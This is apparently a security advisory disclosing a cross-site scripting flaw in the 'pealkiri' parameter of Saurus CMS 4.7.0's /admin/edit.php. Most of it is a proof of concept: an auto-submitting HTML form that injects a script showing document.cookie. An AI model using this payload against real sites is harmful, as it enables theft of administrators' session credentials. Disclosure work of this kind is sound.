XSS in Saurus CMS

Vulnerability ID: HTB22361
Reference: http://www.htbridge.ch/advisory/xss_in_saurus_cms.html
Product: Saurus CMS Community Editon
Vendor: Saurused Ltd
Vulnerable Version: 4.7.0
Vendor Notification: 27 April 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/edit.php" script to properly sanitize user-supplied input in "pealkiri" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://www.example.com/admin/edit.php&quot; name="editForm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="tab" value="object" />
<input type="hidden" name="op" value="new" />
<input type="hidden" name="op2" value="" />
<input type="hidden" name="refresh" value="0" />
<input type="hidden" name="tyyp_id" value="1" />
<input type="hidden" name="tyyp" value="rubriik" />
<input type="hidden" name="pearubriik" value="0" />
<input type="hidden" name="id" value="27746" />
<input type="hidden" name="parent_id" value="27270" />
<input type="hidden" name="previous_id" value="" />
<input type="hidden" name="keel" value="1" />
<input type="hidden" name="on_pealkiri" value="1" />
<input type="hidden" name="sorting" value="">
<input type="hidden" name="extension_path" value="" />
<input type="hidden" name="opener_location" value="" />
<input type="hidden" name="publish" value="1" />
<input name="permanent_parent_id" type="hidden" value="27270" />
<input name="sys_alias" type="hidden" value="" />
<input name="advanced_panel_state" type="hidden" value="0" />
<input type="hidden" name="pealkiri" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="friendly_url" value="scriptalertdocumentcookiescript" />
<input type="hidden" name="ttyyp_id" value="0" />
<input type="hidden" name="publish" value="1" />
<input type="hidden" name="rubriik[]" value="27270">
<input type="hidden" name="page_ttyyp_id" value="0" />
<input type="hidden" name="on_meilinglist" value="1" />
<input type="hidden" name="avaldamise_algus" value="" />
<input type="hidden" name="avaldamise_lopp" value="" />
<input type="hidden" name="kesk" value="0" />
</form>
<script>
document.editForm.submit();
</script>